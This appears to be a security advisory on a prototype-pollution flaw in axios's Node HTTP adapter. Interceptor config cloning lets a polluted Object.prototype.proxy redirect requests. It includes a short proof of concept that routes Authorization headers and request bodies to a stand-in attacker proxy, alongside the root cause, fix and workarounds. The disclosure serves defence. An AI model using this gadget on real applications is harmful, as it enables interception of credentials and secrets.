axios Node HTTP Adapter Prototype Pollution Proxy Hijack via Interceptor Config Cloning
A prototype-polluted Object.prototype.proxy value can silently redirect Node.js axios requests through an attacker-controlled proxy, exposing Authorization headers, Basic auth credentials, and request
The problem
axios hardens merged request config by creating a null-prototype object in mergeConfig(). However, request interceptors run after that hardening step and may return a replacement config. The common immutable pattern `{...config}` or `Object.assign({}, config)` converts the hardened null-prototype object back into a regular object with Object.prototype in its chain.
axios then passes the interceptor-returned object directly into dispatchRequest() without re-hardening it. The Node HTTP adapter reads config.proxy through the prototype chain, so a polluted Object.prototype.proxy silently routes the request through an attacker-controlled proxy.
The proxy receives the full Authorization header, axios-generated Basic auth, request method, absolute URL, Host header, and POST body.
Proof of concept
A working proof-of-concept for this issue in axios, with the exact payload below.
// Pollute Object.prototype anywhere in the process (e.g. via qs, minimist, lodash)
Object.prototype.proxy = {
protocol: 'http',
host: '127.0.0.1',
port: ATTACKER_PROXY_PORT
};
// Any axios instance with an interceptor that returns a plain object clone is affected
const api = axios.create();
api.interceptors.request.use((config) => ({
...config, // re-materializes null-prototype config as a plain object
headers: {
...config.headers,
'X-App': 'demo'
}
}));
// This POST is silently routed to the attacker proxy instead of the target
const res = await api.post(
'http://target.internal/api/secret',
{ secret: 'request-body-secret' },
{ headers: { Authorization: 'Bearer EXPLICIT_SECRET' } }
);
// Expected vulnerable result:
// - res.data comes from the attacker proxy
// - target receives zero requests
// - attacker proxy logs: absolute URL, Authorization header, Host, full POST bodyThe root cause is a missing re-hardening step after interceptor execution. mergeConfig() returns a null-prototype object (own-property only), which blocks prototype chain reads. A spread or Object.assign in an interceptor restores Object.prototype as the prototype, and no subsequent code corrects this before the adapter runs.
The Node HTTP adapter's proxy dispatch path calls config.proxy without an own-property guard, so the inherited Object.prototype.proxy value reaches setProxy() and redirects the connection. The fix in v0.33.0 (PR #11001) switches the adapter to own-property reads for proxy (and auth, params, and data) so inherited prototype values are never consulted, regardless of what an interceptor returned.
CWE-1321 (Prototype Pollution) supplies the gadget; CWE-200 (Sensitive Information Exposure) is the realized impact via MITM on HTTP requests.
The fix
Upgrade to axios 0.33.0. The fix (PR #11001, commits 1417285c and 32fc4896) switches the Node HTTP adapter to own-property reads for config.proxy, config.auth, config.params, and related fields, so a polluted Object.prototype.proxy cannot reach setProxy() even when an interceptor has re-materialized the config as a plain object.
As a workaround without upgrading: set proxy: false explicitly on the axios instance or on each request config. Alternatively, rewrite interceptors to return the original config object or clone into a null-prototype object (Object.assign(Object.create(null), config)).
Using the Node fetch adapter also avoids the vulnerable code path.
Related research
- critical · 9.9CVE-2026-55500CVE-2026-55500: 9router Unprotected Database Export/Import Credential Theft
- critical · 109router: Unauthenticated CRUD on Provider API and Full API Key Leak
- high · 8.4CVE-2026-53814CVE-2026-53814: openclaw Hook-Triggered CLI Privilege Escalation to Owner MCP Scope
- high · 7.1CVE-2026-53831: openclaw system.run Safe-Bin Allowlist Bypass via Shell Expansion